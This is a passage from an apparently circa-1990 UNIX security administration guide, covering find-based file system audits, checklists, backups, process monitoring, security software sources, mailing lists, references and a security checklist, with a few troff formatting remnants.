or delete files as he wishes. The find command +to find all world-writable files is + + # find / -perm -2 -print + +In this case, we do not use the -type option to restrict the search, since we are interested in +directories and devices as well as files. The -2 specifies the world write bit (in octal). + + This list of files will be fairly long, and will include some files that should be world +writable. You should not be concerned if terminal devices in /dev are world writable. You +should also not be concerned about line printer error log files being world writable. Finally, +symbolic links may be world writable - the permissions on a symbolic link, although they +exist, have no meaning. + + +3.3.1.3 Finding Unowned Files + + + + Finding files that are owned by nonexistent users can often be a clue that a cracker has +gained access to your system. Even if this is not the case, searching for these files gives you +an opportunity to clean up files that should have been deleted at the same time the user her- +self was deleted. The command to find unowned files is + + # find / -nouser -print + +The -nouser option matches files that are owned by a user id not contained in the +/etc/passwd database. A similar option, -nogroup, matches files owned by nonexistent +groups. To find all files owned by nonexistent users or groups, you would use the -o option +as follows: + + # find / -nouser -o -nogroup -print + + + +3.3.1.4 Finding .rhosts Files + + + + As mentioned in Section 2.2.1.2, users should be prohibited from having .rhosts files in +their accounts. To search for this, it is only necessary to search the parts of the file system +that contain home directories (i.e., you can skip / and /usr): + + # find /home -name .rhosts -print + +The -name option indicates that the complete name of any file whose name matches .rhosts + + 31 + + + + +should be printed on the screen. + + +3.3.2 Checklists + + + + Checklists can be a useful tool for discovering unauthorized changes made to system +directories. They aren't practical on file systems that contain users' home directories since +these change all the time. A checklist is a listing of all the files contained in a group of +directories: their sizes, owners, modification dates, and so on. Periodically, this information is +collected and compared with the information in the master checklist. Files that do not match +in all attributes can be suspected of having been changed. + + There are several utilities that implement checklists available from public software sites +(see Section 4). However, a simple utility can be constructed using only the standard UNIX +ls and diff commands. + + First, use the ls command [Sun88a, 285] to generate a master list. This is best done +immediately after installing the operating system, but can be done at any time provided you're +confident about the correctness of the files on the disk. A sample command is shown below. + + # ls -aslgR /bin /etc /usr > MasterChecklist + +The file MasterChecklist now contains a complete list of all the files in these directories. +You will probably want to edit it and delete the lines for files you know will be changing +often (e.g., /etc/utmp, /usr/adm/acct). The MasterChecklist file should be stored somewhere +safe where a cracker is unlikely to find it (since he could otherwise just change the data in it): +either on a different computer system, or on magnetic tape. + + To search for changes in the file system, run the above ls command again, saving the +output in some other file, say CurrentList. Now use the diff command [Sun88a, 150] to com- +pare the two files: + + # diff MasterChecklist CurrentList + +Lines that are only in the master checklist will be printed preceded by a ``<,'' and lines that +are only in the current list will be preceded by a ``>.'' If there is one line for a file, preceded +by a ``<,'' this means that the file has been deleted since the master checklist was created. If +there is one line for a file, preceded by a ``>,'' this means that the file has been created since +the master checklist was created. If there are two lines for a single file, one preceded by ``<'' +and the other by ``>,'' this indicates that some attribute of the file has changed since the mas- +ter checklist was created. + + By carefully constructing the master checklist, and by remembering to update it periodi- +cally (you can replace it with a copy of CurrentList, once you're sure the differences between +the lists are harmless), you can easily monitor your system for unauthorized changes. The +software packages available from the public software distribution sites implement basically the +same scheme as the one here, but offer many more options for controlling what is examined +and reported. + + + + 32 + + + + +3.3.3 Backups + + + + It is impossible to overemphasize the need for a good backup strategy. File system +backups not only protect you in the even of hardware failure or accidental deletions, but they +also protect you against unauthorized file system changes made by a cracker. + + A good backup strategy will dump the entire system at level zero (a ``full'' dump) at +least once a month. Partial (or ``incremental'') dumps should be done at least twice a week, +and ideally they should be done daily. The dump command [Sun88a, 1612-1614] is recom- +mended over other programs such as tar and cpio. This is because only dump is capable of +creating a backup that can be used to restore a disk to the exact state it was in when it was +dumped. The other programs do not take into account files deleted or renamed between +dumps, and do not handle some specialized database files properly. + + +3.4 KNOW YOUR SYSTEM + + + + Aside from running large monitoring programs such as those described in the previous +sections, simple everyday UNIX commands can also be useful for spotting security violations. +By running these commands often, whenever you have a free minute (for example, while +waiting for someone to answer the phone), you will become used to seeing a specific pattern +of output. By being familiar with the processes normally running on your system, the times +different users typically log in, and so on, you can easily detect when something is out of the +ordinary. + + +3.4.1 The ps Command + + + + The ps command [Sun88a, 399-402] displays a list of the processes running on your sys- +tem. Ps has numerous options, too many to list here. Generally, however, for the purpose of +monitoring, the option string -alxww is the most useful.* On a Sun system running SunOS +4.0, you should expect to see at least the following: + + swapper, pagedaemon + System programs that help the virtual memory system. + + /sbin/init + The init process, which is responsible for numerous tasks, including bringing up + login processes on terminals. + + portmap, ypbind, ypserv + Parts of the Yellow Pages system. + + biod, nfsd, rpc.mountd, rpc.quotad, rpc.lockd + Parts of the Network File System (NFS). If the system you are looking at is not a +\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru + + * This is true for Berkeley-based systems. On System V systems, the option string -elf should be used in- +stead. + + + 33 + + + + + file server, the nfsd processes probably won't exist. + + rarpd, rpc.bootparamd + Part of the system that allows diskless clients to boot. + + Other commands you should expect to see are update (file system updater); getty (one +per terminal and one for the console); lpd (line printer daemon); inetd (Internet daemon, for +starting other network servers); sh and csh (the Bourne shell and C shell, one or more per +logged in user). In addition, if there are users logged in, you'll probably see invocations of +various compilers, text editors, and word processing programs. + + +3.4.2 The who and w Commands + + + + The who command, as mentioned previously, displays the list of users currently logged +in on the system. By running this periodically, you can learn at what times during the day +various users log in. Then, when you see someone logged in at a different time, you can +investigate and make sure that it's legitimate. + + The w command [Sun88a, 588] is somewhat of a cross between who and ps. Not only +does it show a list of who is presently logged in, but it also displays how long they have been +idle (gone without typing anything), and what command they are currently running. + + +3.4.3 The ls Command + + + + Simple as its function is, ls is actually very useful for detecting file system problems. +Periodically, you should use ls on the various system directories, checking for files that +shouldn't be there. Most of the time, these files will have just ``landed'' somewhere by +accident. However, by keeping a close watch on things, you will be able to detect a cracker +long before you might have otherwise. + + When using ls to check for oddities, be sure to use the -a option, which lists files +whose names begin with a period (.). Be particularly alert for files or directories named ``...'', +or ``..(space)'', which many crackers like to use. (Of course, remember that ``.'' and ``..'' are +supposed to be there.) + + +3.5 KEEP YOUR EYES OPEN + + + + Monitoring for security breaches is every bit as important as preventing them in the first +place. Because it's virtually impossible to make a system totally secure, there is always the +chance, no matter how small, that a cracker will be able to gain access. Only by monitoring +can this be detected and remedied. + + + 34 + + + + + SECTION 4 + SOFTWARE FOR IMPROVING SECURITY + + + + Because security is of great concern to many sites, a wealth of software has been +developed for improving the security of UNIX systems. Much of this software has been +developed at universities and other public institutions, and is available free for the asking. +This section describes how this software can be obtained, and mentions some of the more +important programs available. + + +4.1 OBTAINING FIXES AND NEW VERSIONS + + + + Several sites on the Internet maintain large repositories of public-domain and freely dis- +tributable software, and make this material available for anonymous FTP. This section +describes some of the larger repositories. + + +4.1.1 Sun Fixes on UUNET + + + + Sun Microsystems has contracted with UUNET Communications Services, Inc. to make +fixes for bugs in Sun software available via anonymous FTP. You can access these fixes by +using the ftp command [Sun88a, 195-201] to connect to the host ftp.uu.net. Then change into +the directory sun-fixes, and obtain a directory listing, as shown in the example on the follow- +ing page. + + + 35 + + + + + +% ftp ftp.uu.net +Connected to uunet.UU.NET. +220 uunet FTP server (Version 5.93 Tue Mar 20 11:01:52 EST 1990) ready. +Name (ftp.uu.net:davy): anonymous +331 Guest login ok, send ident as password. +Password: enter your mail address yourname@yourhost here +230 Guest login ok, access restrictions apply. +ftp> cd sun-fixes +250 CWD command successful. +ftp> dir +200 PORT command successful. +150 Opening ASCII mode data connection for /bin/ls. +total 2258 +-rw-r--r-- 1 38 22 4558 Aug 31 1989 README +-rw-r--r-- 1 38 22 484687 Dec 14 1988 ddn.tar.Z +-rw-r--r-- 1 38 22 140124 Jan 13 1989 gated.sun3.Z +-rwxr-xr-x 1 38 22 22646 Dec 14 1988 in.ftpd.sun3.Z +..... +..... +-rw-r--r-- 1 38 22 72119 Aug 31 1989 sendmail.sun3.Z +-rwxr-xr-x 1 38 22 99147 Aug 31 1989 sendmail.sun4.Z +-rw-r--r-- 1 38 22 3673 Jul 11 1989 wall.sun3.Z +-rw-r--r-- 1 38 22 4099 Jul 11 1989 wall.sun4.Z +-rwxr-xr-x 1 38 22 7955 Jan 18 1989 ypbind.sun3.Z +-rwxr-xr-x 1 38 22 9237 Jan 18 1989 ypbind.sun4.Z +226 Transfer complete. +1694 bytes received in 0.39 seconds (4.2 Kbytes/s) +ftp> quit +221 Goodbye. +% + +The file README contains a brief description of what each file in this directory contains, and +what is required to install the fix. + + +4.1.2 Berkeley Fixes + + + + The University of California at Berkeley also makes fixes available via anonymous FTP; +these fixes pertain primarily to the current release of BSD UNIX (currently release 4.3). How- +ever, even if you are not running their software, these fixes are still important, since many +vendors (Sun, DEC, Sequent , etc.) base their software on the Berkeley releases. + + The Berkeley fixes are available for anonymous FTP from the host ucbarpa.berkeley.edu +in the directory 4.3/ucb-fixes. The file INDEX in this directory describes what each file con- +tains. + + Berkeley also distributes new versions of sendmail and named [Sun88a, 1758-1760, +1691-1692] from this machine. New versions of these commands are stored in the 4.3 direc- +tory, usually in the files sendmail.tar.Z and bind.tar.Z, respectively. + + + 36 + + + + +4.1.3 Simtel-20 and UUNET + + + + The two largest general-purpose software repositories on the Internet are the hosts +wsmr-simtel20.army.mil and ftp.uu.net. + + wsmr-simtel20.army.mil is a TOPS-20 machine operated by the U. S. Army at White +Sands Missile Range, New Mexico. The directory pd2: contains a large amount of +UNIX software, primarily taken from the comp.sources newsgroups. The file 000-master- +index.txt contains a master list and description of each piece of software available in the repo- +sitory. The file 000-intro-unix-sw.txt contains information on the mailing list used to +announce new software, and describes the procedures used for transferring files from the +archive with FTP. + + ftp.uu.net is operated by UUNET Communications ServicesF.v in Falls Church, Vir- +ginia. This company sells Internet and USENET access to sites all over the country (and inter- +nationally). The software posted to the following USENET source newsgroups is stored here, +in directories of the same name: + + comp.sources.games + comp.sources.misc + comp.sources.sun + comp.sources.unix + comp.sources.x + +Numerous other distributions, such as all the freely distributable Berkeley UNIX source code, +Internet Request for Comments (RFCs), and so on are also stored on this machine. + + +4.1.4 Vendors + + + + Many vendors make fixes for bugs in their software available electronically, either via +mailing lists or via anonymous FTP. You should contact your vendor to find out if they offer +this service, and if so, how to access it. Some vendors that offer these services include Sun +Microsystems (see above), Digital Equipment Corp., the University of California at Berkeley +(see above), and Apple Computer. + + +4.2 THE NPASSWD COMMAND + + + + The npasswd command, developed by Clyde Hoover at the University of Texas at Aus- +tin, is intended to be a replacement for the standard UNIX passwd command [Sun88a, 379], +as well as the Sun yppasswd command [Sun88a, 611]. npasswd makes passwords more +secure by refusing to allow users to select insecure passwords. The following capabilities are +provided by npasswd: + + \(bu Configurable minimum password length + + \(bu Configurable to force users to use mixed case or digits and punctuation + + + + 37 + + + + + \(bu Checking for ``simple'' passwords such as a repeated letter + + \(bu Checking against the host name and other host-specific information + + \(bu Checking against the login name, first and last names, and so on + + \(bu Checking for words in various dictionaries, including the system dictionary. + + The npasswd distribution is available for anonymous FTP from emx.utexas.edu in the +directory pub/npasswd. + + +4.3 THE COPS PACKAGE + + + + + COPS is a security tool for system administrators that checks for numerous common +security problems on UNIX systems, including many of the things described in this document. +COPS is a collection of shell scripts and C programs that can easily be run on almost any +UNIX variant. Among other things, it checks the following items and sends the results to the +system administrator: + + \(bu Checks /dev/kmem and other devices for world read/writability. + + \(bu Checks special/important files and directories for ``bad'' modes (world writable, + etc.). + + \(bu Checks for easily guessed passwords. + + \(bu Checks for duplicate user ids, invalid fields in the password file, etc. + + \(bu Checks for duplicate group ids, invalid fields in the group file, etc. + + \(bu Checks all users' home directories and their .cshrc, .login, .profile, and .rhosts + files for security problems. + + \(bu Checks all commands in the /etc/rc files [Sun88a, 1724-1725] and cron files + [Sun88a, 1606-1607] for world writability. + + \(bu Checks for bad ``root'' paths, NFS file system exported to the world, etc. + + \(bu Includes an expert system that checks to see if a given user (usually ``root'') can be + compromised, given that certain rules are true. + + \(bu Checks for changes in the setuid status of programs on the system. + + The COPS package is available from the comp.sources.unix archive on ftp.uu.net, and +also from the repository on wsmr-simtel20.army.mil. + + +4.4 SUN C2 SECURITY FEATURES + + + + With the release of SunOS 4.0, Sun has included security features that allow the system +to operate at a higher level of security, patterned after the C2* classification. These features +\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru + + * C2 is one of several security classifications defined by the National Computer Security Center, and is +described in [NCSC85], the ``orange book.'' + + 38 + + + + +can be installed as one of the options when installing the system from the distribution tapes. +The security features added by this option include + + \(bu Audit trails that record all login and logout times, the execution of administrative + commands, and the execution of privileged (setuid) operations. + + \(bu A more secure password file mechanism (``shadow password file'') that prevents + crackers from obtaining a list of the encrypted passwords. + + \(bu DES encryption capability. + + \(bu A (more) secure NFS implementation that uses public-key encryption to authenticate + the users of the system and the hosts on the network, to be sure they really are who + they claim to be. + +These security features are described in detail in [Sun88c]. + + +4.5 KERBEROS + + + + Kerberos [Stei88] is an authentication system developed by the Athena Project at the +Massachusetts Institute of Technology. Kerberos is a third-party authentication service, which +is trusted by other network services. When a user logs in, Kerberos authenticates that user +(using a password), and provides the user with a way to prove her identity to other servers +and hosts scattered around the network. + + This authentication is then used by programs such as rlogin [Sun88a, 418-419] to allow +the user to log in to other hosts without a password (in place of the .rhosts file). The authen- +tication is also used by the mail system in order to guarantee that mail is delivered to the +correct person, as well as to guarantee that the sender is who he claims to be. NFS has also +been modified by M.I.T. to work with Kerberos, thereby making the system much more +secure. + + The overall effect of installing Kerberos and the numerous other programs that go with it +is to virtually eliminate the ability of users to ``spoof'' the system into believing they are +someone else. Unfortunately, installing Kerberos is very intrusive, requiring the modification +or replacement of numerous standard programs. For this reason, a source license is usually +necessary. There are plans to make Kerberos a part of 4.4BSD, to be released by the Univer- +sity of California at Berkeley sometime in 1990. + + + 39 + + + + + + + + 40 + + + + + SECTION 5 + KEEPING ABREAST OF THE BUGS + + + + One of the hardest things about keeping a system secure is finding out about the security +holes before a cracker does. To combat this, there are several sources of information you can +and should make use of on a regular basis. + + +5.1 THE COMPUTER EMERGENCY RESPONSE TEAM + + + + The Computer Emergency Response Team (CERT) was established in December 1988 by +the Defense Advanced Research Projects Agency to address computer security concerns of +research users of the Internet. It is operated by the Software Engineering Institute at +Carnegie-Mellon University. The CERT serves as a focal point for the reporting of security +violations, and the dissemination of security advisories to the Internet community. In addi- +tion, the team works with vendors of various systems in order to coordinate the fixes for secu- +rity problems. + + The CERT sends out security advisories to the cert-advisory mailing list whenever +appropriate. They also operate a 24-hour hotline that can be called to report security prob- +lems (e.g., someone breaking into your system), as well as to obtain current (and accurate) +information about rumored security problems. + + To join the cert-advisory mailing list, send a message to cert@cert.sei.cmu.edu and ask +to be added to the mailing list. Past advisories are available for anonymous FTP from the +host cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090. + + +5.2 DDN MANAGEMENT BULLETINS + + + + The DDN Management Bulletin is distributed electronically by the Defense Data Net- +work (DDN) Network Information Center under contract to the Defense Communications +Agency. It is a means of communicating official policy, procedures, and other information of +concern to management personnel at DDN facilities. + + The DDN Security Bulletin is distributed electronically by the DDN SCC (Security Coor- +dination Center), also under contract to DCA, as a means of communicating information on +network and host security exposures, fixes, and concerns to security and management person- +nel at DDN facilities. + + Anyone may join the mailing lists for these two bulletins by sending a message to +nic@nic.ddn.mil and asking to be placed on the mailing lists. + + + + + 41 + + + + +5.3 SECURITY-RELATED MAILING LISTS + + + + There are several other mailing lists operated on the Internet that pertain directly or +indirectly to various security issues. Some of the more useful ones are described below. + + +5.3.1 Security + + + + The UNIX Security mailing list exists to notify system administrators of security prob- +lems before they become common knowledge, and to provide security enhancement informa- +tion. It is a restricted-access list, open only to people who can be verified as being principal +systems people at a site. Requests to join the list must be sent by either the site contact listed +in the Network Information Center's WHOIS database, or from the ``root'' account on one of +the major site machines. You must include the destination address you want on the list, an +indication of whether you want to be on the mail reflector list or receive weekly digests, the +electronic mail address and voice telephone number of the site contact if it isn't you, and the +name, address, and telephone number of your organization. This information should be sent +to security-request@cpd.com. + + +5.3.2 RISKS + + + + The RISKS digest is a component of the ACM Committee on Computers and Public Pol- +icy, moderated by Peter G. Neumann. It is a discussion forum on risks to the public in com- +puters and related systems, and along with discussing computer security and privacy issues, +has discussed such subjects as the Stark incident, the shooting down of the Iranian airliner in +the Persian Gulf (as it relates to the computerized weapons systems), problems in air and rail- +road traffic control systems, software engineering, and so on. To join the mailing list, send a +message to risks-request@csl.sri.com. This list is also available in the USENET newsgroup +comp.risks. + + +5.3.3 TCP-IP + + + + The TCP-IP list is intended to act as a discussion forum for developers and maintainers +of implementations of the TCP/IP protocol suite. It also discusses network-related security +problems when they involve programs providing network services, such as sendmail. To join +the TCP-IP list, send a message to tcp-ip-request@nic.ddn.mil. This list is also available in +the USENET newsgroup comp.protocols.tcp-ip. + + +5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS + + + + The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all discussion groups for +users and administrators of systems supplied by Sun Microsystems. SUN-SPOTS is a fairly + + 42 + + + + +general list, discussing everything from hardware configurations to simple UNIX questions. +To subscribe, send a message to sun-spots-request@rice.edu. This list is also available in the +USENET newsgroup comp.sys.sun. + + SUN-NETS is a discussion list for items pertaining to networking on Sun systems. Much +of the discussion is related to NFS, Yellow Pages, and name servers. To subscribe, send a +message to sun-nets-request@umiacs.umd.edu. + + SUN-MANAGERS is a discussion list for Sun system administrators and covers all +aspects of Sun system administration. To subscribe, send a message to sun-managers- +request@eecs.nwu.edu. + + +5.3.5 VIRUS-L + + + + The VIRUS-L list is a forum for the discussion of computer virus experiences, protection +software, and related topics. The list is open to the public, and is implemented as a mail +reflector, not a digest. Most of the information is related to personal computers, although +some of it may be applicable to larger systems. To subscribe, send the line + + SUB VIRUS-L your full name + +to the address listserv%lehiibm1.bitnet@mitvma.mit.edu. + + + 43 + + + + + + + + 44 + + + + + SECTION 6 + SUGGESTED READING + + + + This section suggests some alternate sources of information pertaining to the security and +administration of the UNIX operating system. + +UNIX System Administration Handbook +Evi Nemeth, Garth Snyder, Scott Seebass +Prentice Hall, 1989, $26.95 + + This is perhaps the best general-purpose book on UNIX system administration currently + on the market. It covers Berkeley UNIX, SunOS, and System V. The 26 chapters and + 17 appendices cover numerous topics, including booting and shutting down the system, + the file system, configuring the kernel, adding a disk, the line printer spooling system, + Berkeley networking, sendmail, and uucp. Of particular interest are the chapters on + running as the super-user, backups, and security. + +UNIX Operating System Security +F. T. Grammp and R. H. Morris +AT&T Bell Laboratories Technical Journal +October 1984 + + This is an excellent discussion of some of the more common security problems in + UNIX and how to avoid them, written by two of Bell Labs' most prominent security + experts. + +Password Security: A Case History +Robert Morris and Ken Thompson +Communications of the ACM +November 1979 + + An excellent discussion on the problem of password security, and some interesting + information on how easy it is to crack passwords and why. This document is usually + reprinted in most vendors' UNIX documentation. + +On the Security of UNIX +Dennis M. Ritchie +May 1975 + + A discussion on UNIX security from one of the original creators of the system. This + document is usually reprinted in most vendors' UNIX documentation. + +The Cuckoo's Egg +Clifford Stoll +Doubleday, 1989, $19.95 + + + + 45 + + + + + An excellent story of Stoll's experiences tracking down the German crackers who were + breaking into his systems and selling the data they found to the KGB. Written at a + level that nontechnical users can easily understand. + +System and Network Administration +Sun Microsystems +May, 1988 + + Part of the SunOS documentation, this manual covers most aspects of Sun system + administration, including security issues. A must for anyone operating a Sun system, + and a pretty good reference for other UNIX systems as well. + +Security Problems in the TCP/IP Protocol Suite +S. M. Bellovin +ACM Computer Communications Review +April, 1989 + + An interesting discussion of some of the security problems with the protocols in use on + the Internet and elsewhere. Most of these problems are far beyond the capabilities of + the average cracker, but it is still important to be aware of them. This article is techni- + cal in nature, and assumes familiarity with the protocols. + +A Weakness in the 4.2BSD UNIX TCP/IP Software +Robert T. Morris +AT&T Bell Labs Computer Science Technical Report 117 +February, 1985 + + An interesting article from the author of the Internet worm, which describes a method + that allows remote hosts to ``spoof'' a host into believing they are trusted. Again, this + article is technical in nature, and assumes familiarity with the protocols. + +Computer Viruses and Related Threats: A Management Guide +John P. Wack and Lisa J. Carnahan +National Institute of Standards and Technology +Special Publication 500-166 + + This document provides a good introduction to viruses, worms, trojan horses, and so + on, and explains how they work and how they are used to attack computer systems. + Written for the nontechnical user, this is a good starting point for learning about these + security problems. This document can be ordered for $2.50 from the U. S. Govern- + ment Printing Office, document number 003-003-02955-6. + + + 46 + + + + + SECTION 7 + CONCLUSIONS + + + + Computer security is playing an increasingly important role in our lives as more and +more operations become computerized, and as computer networks become more widespread. +In order to protect your systems from snooping and vandalism by unauthorized crackers, it is +necessary to enable the numerous security features provided by the UNIX system. + + In this document, we have covered the major areas that can be made more secure: + + \(bu Account security + + \(bu Network security + + \(bu File system security. + +Additionally, we have discussed how to monitor for security violations, where to obtain +security-related software and bug fixes, and numerous mailing lists for finding out about secu- +rity problems that have been discovered. + + Many crackers are not interested in breaking into specific systems, but rather will break +into any system that is vulnerable to the attacks they know. Eliminating these well-known +holes and monitoring the system for other security problems will usually serve as adequate +defense against all but the most determined crackers. By using the procedures and sources +described in this document, you can make your system more secure. + + + 47 + + + + + + + + 48 + + + + + REFERENCES + + + +[Eich89] Eichin, Mark W., and Jon A. Rochlis. With Microscope and Tweezers: An + Analysis of the Internet Virus of November 1988. Massachusetts Institute of + Technology. February 1989. + +[Elme88] Elmer-DeWitt, Philip. `` `The Kid Put Us Out of Action.' '' Time, 132 (20): + 76, November 14, 1988. + +[Gram84] Grammp, F. T., and R. H. Morris. ``UNIX Operating System Security.'' AT&T + Bell Laboratories Technical Journal, 63 (8): 1649-1672, October 1984. + +[Hind83] Hinden, R., J. Haverty, and A. Sheltzer. ``The DARPA Internet: Interconnect- + ing Heterogeneous Computer Networks with Gateways.'' IEEE Computer + Magazine, 16 (9): 33-48, September 1983. + +[McLe87] McLellan, Vin. ``NASA Hackers: There's More to the Story.'' Digital Review, + November 23, 1987, p. 80. + +[Morr78] Morris, Robert, and Ken Thompson. ``Password Security: A Case History.'' + Communications of the ACM, 22 (11): 594-597, November 1979. Reprinted in + UNIX System Manager's Manual, 4.3 Berkeley Software Distribution. Univer- + sity of California, Berkeley. April 1986. + +[NCSC85] National Computer Security Center. Department of Defense Trusted Computer + System Evaluation Criteria, Department of Defense Standard DOD 5200.28- + STD, December, 1985. + +[Quar86] Quarterman, J. S., and J. C. Hoskins. ``Notable Computer Networks.'' Com- + munications of the ACM, 29 (10): 932-971, October 1986. + +[Reed84] Reeds, J. A., and P. J. Weinberger. ``File Security and the UNIX System Crypt + Command.'' AT&T Bell Laboratories Technical Journal, 63 (8): 1673-1683, + October 1984. + +[Risk87] Forum on Risks to the Public in Computers and Related Systems. ACM Com- + mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter- + net mailing list. Issue 5.73, December 13, 1987. + +[Risk88] Forum on Risks to the Public in Computers and Related Systems. ACM Com- + mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter- + net mailing list. Issue 7.85, December 1, 1988. + +[Risk89a] Forum on Risks to the Public in Computers and Related Systems. ACM Com- + mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter- + net mailing list. Issue 8.2, January 4, 1989. + +[Risk89b] Forum on Risks to the Public in Computers and Related Systems. ACM Com- + mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter- + net mailing list. Issue 8.9, January 17, 1989. + +[Risk90] Forum on Risks to the Public in Computers and Related Systems. ACM Com- + mittee on Computers and Public Policy, Peter G. Neumann, Moderator. Inter- + net mailing list. Issue 9.69, February 20, 1990. + + 49 + + + + +[Ritc75] Ritchie, Dennis M. ``On the Security of UNIX.'' May 1975. Reprinted in + UNIX System Manager's Manual, 4.3 Berkeley Software Distribution. Univer- + sity of California, Berkeley. April 1986. + +[Schu90] Schuman, Evan. ``Bid to Unhook Worm.'' UNIX Today!, February 5, 1990, p. + 1. + +[Seel88] Seeley, Donn. A Tour of the Worm. Department of Computer Science, + University of Utah. December 1988. + +[Spaf88] Spafford, Eugene H. The Internet Worm Program: An Analysis. Technical + Report CSD-TR-823. Department of Computer Science, Purdue University. + November 1988. + +[Stee88] Steele, Guy L. Jr., Donald R. Woods, Raphael A. Finkel, Mark R. Crispin, + Richard M. Stallman, and Geoffrey S. Goodfellow. The Hacker's Dictionary. + New York: Harper and Row, 1988. + +[Stei88] Stein, Jennifer G., Clifford Neuman, and Jeffrey L. Schiller. ``Kerberos: An + Authentication Service for Open Network Systems.'' USENIX Conference + Proceedings, Dallas, Texas, Winter 1988, pp. 203-211. + +[Stol88] Stoll, Clifford. ``Stalking the Wily Hacker.'' Communications of the ACM, 31 + (5): 484-497, May 1988. + +[Stol89] Stoll, Clifford. The Cuckoo's Egg. New York: Doubleday, 1989. + +[Sun88a] Sun Microsystems. SunOS Reference Manual, Part Number 800-1751-10, May + 1988. + + +[Sun88b] Sun Microsystems. System and Network Administration, Part Number 800- + 1733-10, May 1988. + +[Sun88c] Sun Microsystems. Security Features Guide, Part Number 800-1735-10, May + 1988. + +[Sun88d] Sun Microsystems. ``Network File System: Version 2 Protocol Specification.'' + Network Programming, Part Number 800-1779-10, May 1988, pp. 165-185. + + + 50 + + + + + APPENDIX A - SECURITY CHECKLIST + + + + This checklist summarizes the information presented in this paper, and can be used to +verify that you have implemented everything described. + +Account Security + \(sq Password policy developed and distributed to all users + \(sq All passwords checked against obvious choices + \(sq Expiration dates on all accounts + \(sq No ``idle'' guest accounts + \(sq All accounts have passwords or ``*'' in the password field + \(sq No group accounts + \(sq ``+'' lines in passwd and group checked if running Yellow Pages + +Network Security + \(sq hosts.equiv contains only local hosts, and no ``+'' + \(sq No .rhosts files in users' home directories + \(sq Only local hosts in ``root'' .rhosts file, if any + \(sq Only ``console'' labeled as ``secure'' in ttytab (servers only) + \(sq No terminals labeled as ``secure'' in ttytab (clients only) + \(sq No NFS file systems exported to the world + \(sq ftpd version later than December, 1988 + \(sq No ``decode'' alias in the aliases file + \(sq No ``wizard'' password in sendmail.cf + \(sq No ``debug'' command in sendmail + \(sq fingerd version later than November 5, 1988 + \(sq Modems and terminal servers handle hangups correctly + +File System Security + \(sq No setuid or setgid shell scripts + \(sq Check all ``nonstandard'' setuid and setgid programs for security + \(sq Setuid bit removed from /usr/etc/restore + \(sq Sticky bits set on world-writable directories + \(sq Proper umask value on ``root'' account + \(sq Proper modes on devices in /dev + +Backups + \(sq Level 0 dumps at least monthly + \(sq Incremental dumps at least bi-weekly + + + 51 + + + + + This page intentionally left blank. + Just throw it out. + + + lii + + + + + CONTENTS + +1 INTRODUCTION ......................................................................................................... 1 +1.1 UNIX Security ............................................................................................................... 1 +1.2 The Internet Worm ....................................................................................................... 2 +1.3 Spies and Espionage ..................................................................................................... 2 +1.4 Other Break-Ins ............................................................................................................. 3 +1.5 Security is Important..................................................................................................... 3 + +2 IMPROVING SECURITY ........................................................................................... 5 +2.1 Account Security ........................................................................................................... 5 +2.1.1 Passwords ...................................................................................................................... 5 +2.1.1.1 Selecting Passwords ...................................................................................................... 6 +2.1.1.2 Password Policies .......................................................................................................... 7 +2.1.1.3 Checking Password Security ........................................................................................ 7 +2.1.2 Expiration Dates ............................................................................................................ 8 +2.1.3 Guest Accounts ............................................................................................................. 8 +2.1.4 Accounts Without Passwords ....................................................................................... 9 +2.1.5 Group Accounts and Groups ........................................................................................ 9 +2.1.6 Yellow Pages................................................................................................................. 10 +2.2 Network Security .......................................................................................................... 11 +2.2.1 Trusted Hosts ................................................................................................................ 11 +2.2.1.1 The hosts.equiv File ...................................................................................................... 11 +2.2.1.2 The .rhosts File ............................................................................................................. 12 +2.2.2 Secure Terminals........................................................................................................... 12 +2.2.3 The Network File System ............................................................................................. 13 +2.2.3.1 The exports File ............................................................................................................ 13 +2.2.3.2 The netgroup File .......................................................................................................... 14 +2.2.3.3 Restricting Super-User Access ..................................................................................... 16 +2.2.4 FTP ................................................................................................................................. 16 +2.2.4.1 Trivial FTP .................................................................................................................... 17 +2.2.5 Mail ............................................................................................................................... 18 +2.2.6 Finger............................................................................................................................. 19 +2.2.7 Modems and Terminal Servers..................................................................................... 19 +2.2.8 Firewalls ........................................................................................................................ 20 +2.3 File System Security ..................................................................................................... 20 +2.3.1 Setuid Shell Scripts ....................................................................................................... 21 +2.3.2 The Sticky Bit on Directories....................................................................................... 22 +2.3.3 The Setgid Bit on Directories........................./q^]H.............................................................. 22 +2.3.4 The umask Value .......................................................................................................... 22 +2.3.5 Encrypting Files ............................................................................................................ 23 +2.3.6 Devices .......................................................................................................................... 23 +2.4 Security Is Your Responsibility ................................................................................... 24 + + iii + + + + + CONTENTS (continued) + + +3 MONITORING SECURITY ..................................................................................25 +3.1 Account Security .....................................................................................................25 +3.1.1 The lastlog File .......................................................................................................25 +3.1.2 The utmp and wtmp Files .......................................................................................25 +3.1.3 The acct File ...........................................................................................................26 +3.2 Network Security ....................................................................................................27 +3.2.1 The syslog Facility ..................................................................................................27 +3.2.2 The showmount Command .....................................................................................28 +3.3 File System Security ...............................................................................................29 +3.3.1 The find Command .................................................................................................29 +3.3.1.1 Finding Setuid and Setgid Files .............................................................................29 +3.3.1.2 Finding World-Writable Files .................................................................................31 +3.3.1.3 Finding Unowned Files ...........................................................................................31 +3.3.1.4 Finding .rhosts Files ................................................................................................31 +3.3.2 Checklists ................................................................................................................32 +3.3.3 Backups ...................................................................................................................33 +3.4 Know Your System .................................................................................................33 +3.4.1 The ps Command ....................................................................................................33 +3.4.2 The who and w Commands ....................................................................................34 +3.4.3 The ls Command .....................................................................................................34 +3.5 Keep Your Eyes Open ............................................................................................34 + +4 SOFTWARE FOR IMPROVING SECURITY .....................................................35 +4.1 Obtaining Fixes and New Versions .......................................................................35 +4.1.1 Sun Fixes on UUNET ..............................................................................................35 +4.1.2 Berkeley Fixes .........................................................................................................36 +4.1.3 Simtel-20 and UUNET ............................................................................................37 +4.1.4 Vendors ...................................................................................................................37 +4.2 The npasswd Command ..........................................................................................37 